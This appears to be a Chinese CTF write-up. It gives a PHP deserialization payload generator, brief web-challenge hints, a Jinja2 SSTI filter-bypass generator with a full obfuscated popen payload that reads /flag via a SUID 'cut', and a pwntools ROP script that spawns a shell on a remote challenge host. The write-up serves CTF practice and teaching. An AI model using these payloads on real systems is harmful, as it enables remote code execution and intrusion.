web

禁止访问

Client-IP: 192.168.1.1

ezphp

<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $key;
    public function readflag(){
        if($this->key === "\0key\0"){
            readfile('/flag');
        }
    }
}
class B{
    public function  __toString(){
        return ($this->b)();
    }
}
class C{
    public $s;
    public $str;
    public function  __construct($s){
        $this->s = $s;
    }
    public function  __destruct(){
        echo $this->str;
    }
}
$a = new A();
$a->key = '\00key\00';
$payload = new C('');
$payload->str = new B();
$payload->str->b = array($a,'readflag');
$ser = serialize($payload);
$ser = str_ireplace('s:9:"\00key\00"','S:5:"\00key\00"',$ser);
$ser = str_ireplace('O:1:"C":2:{s:1:"s";s:0:"','',$ser);
$result = str_repeat("\0", strlen($ser));
$ans = $result.$ser;
echo urlencode($ans);
?>

web01

extract变量覆盖
2024-04-13T05:44:08.png

web02

[]数组绕过strcmp,非法命名.转化成下划线绕过strpos
2024-04-13T05:50:52.png

web03

访问index.php,302跳转
2024-04-13T05:55:55.png

web04

pht绕过检测,官方文档中pht简介
2024-04-13T16:05:42.png

web05

注册之后ssrf
2024-04-13T16:15:06.png

web12

和web02一样的
2024-04-17T12:39:26.png

ssti

black_list = ["class", "__", "'", "\"", "~", "+", "globals", "request", "{%", "true", "false", 'lipsum', 'url_for','get_flashed_messages', 'range', 'dict', 'cycler', 'self']过滤了这些类,通过[a]|count可以获取到任意数字,这里的a是undefined,也就是一个未定义变量,不是字母a,因为引号都被过滤了,这是第一步。然后可以通过{{config|string}}将flask框架的config转化为字符串,(config|string)[1]就能获取到字符,第二步。最后一步就是通过['a','b']|join这种格式将我们之前第二步得到的字符拼接成字符串。但是我们只能得到字符串,想用request是不行的。因为request和config一样都是内置的全局变量(大概)。我们得到的相当于是'request',{{'config'}}也是不会有回显的。
本来的payload是config'__class__''__globals__'.popen('cat /f*').read(),可以通过下面的脚本把单引号包裹的字符串转化来绕过。可以执行命令后发现/flag没权限读,真的恶心。因为&、+、|等字符都不好获取,所以也不好弹shell。直接用find命令会报超时,我们可以ls -al /usr/bin,查找rws权限的可以suid提权的命令,找到cut,然后直接读flag就可以了。整个思路是从这篇文章里学来的。

def getNum(num):
    return '(' + str(list('a' * num)).replace('\'', '').replace(' ', '') + '|count)'
def getDis(k):
    n = 0
    while 2 ** n <= k:
        n += 1
    m = 2 ** n - k
    result = f'([a,a]|count)**{getNum(n)}'
    if m > 0:
        result += f'-{getNum(m)}'
    return result
def getChar(char):
    text = "<config {'debug': false, 'testing': false, 'propagate_exceptions': none, 'secret_key': '2908fe27-2980-40eb-a9bb-c46d5afeb973', 'permanent_session_lifetime': datetime.timedelta(days=31), 'use_x_sendfile': false, 'server_name': none, 'application_root': '/', 'session_cookie_name': 'session', 'session_cookie_domain': none, 'session_cookie_path': none, 'session_cookie_httponly': true, 'session_cookie_secure': false, 'session_cookie_samesite': none, 'session_refresh_each_request': true, 'max_content_length': none, 'send_file_max_age_default': none, 'trap_bad_request_errors': none, 'trap_http_exceptions': false, 'explain_template_loading': false, 'preferred_url_scheme': 'http', 'templates_auto_reload': none, 'max_cookie_size': 4093}>"
    index = text.index(char)
    return f"(config|lower)[{getDis(index)}]"
def getString(string):
    return str([getChar(char) for char in string]).replace('\'', '').replace(' ', '') + '|join'

payload = "cut -d '' -f1 /flag"
ans = getString(payload.lower())
print(ans)

#/user?username={{config[[(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join][[(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join][[(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a]|count)-([a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join][[(config|lower)[([a,a]|count)**([a,a]|count)-([a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join].popen([(config|lower)[([a,a]|count)**([a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a]|count)]]|join).read()}}

2024-04-17T12:38:55.png

pwn

栈溢出2

2024-04-20T02:03:41.png

from pwn import *

context(log_level='debug', arch='amd64', os='linux')
# io=process('./pwn')
io = remote('39.106.48.123', 44194)
pop_other_ret=0x806eb90
pop_eax_ret = 0x4005fb
pop_rdi_ret = 0x4005ff
bin_sh_addr=0x400714
pop_rsi_ret = 0x400601
pop_rdx_ret = 0x400603
syscall = 0x400607
padding = 0xd0+0x8
payload=b'a'*padding+p64(pop_eax_ret)+p64(0x3b)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(syscall)
io.sendline(payload)
io.interactive()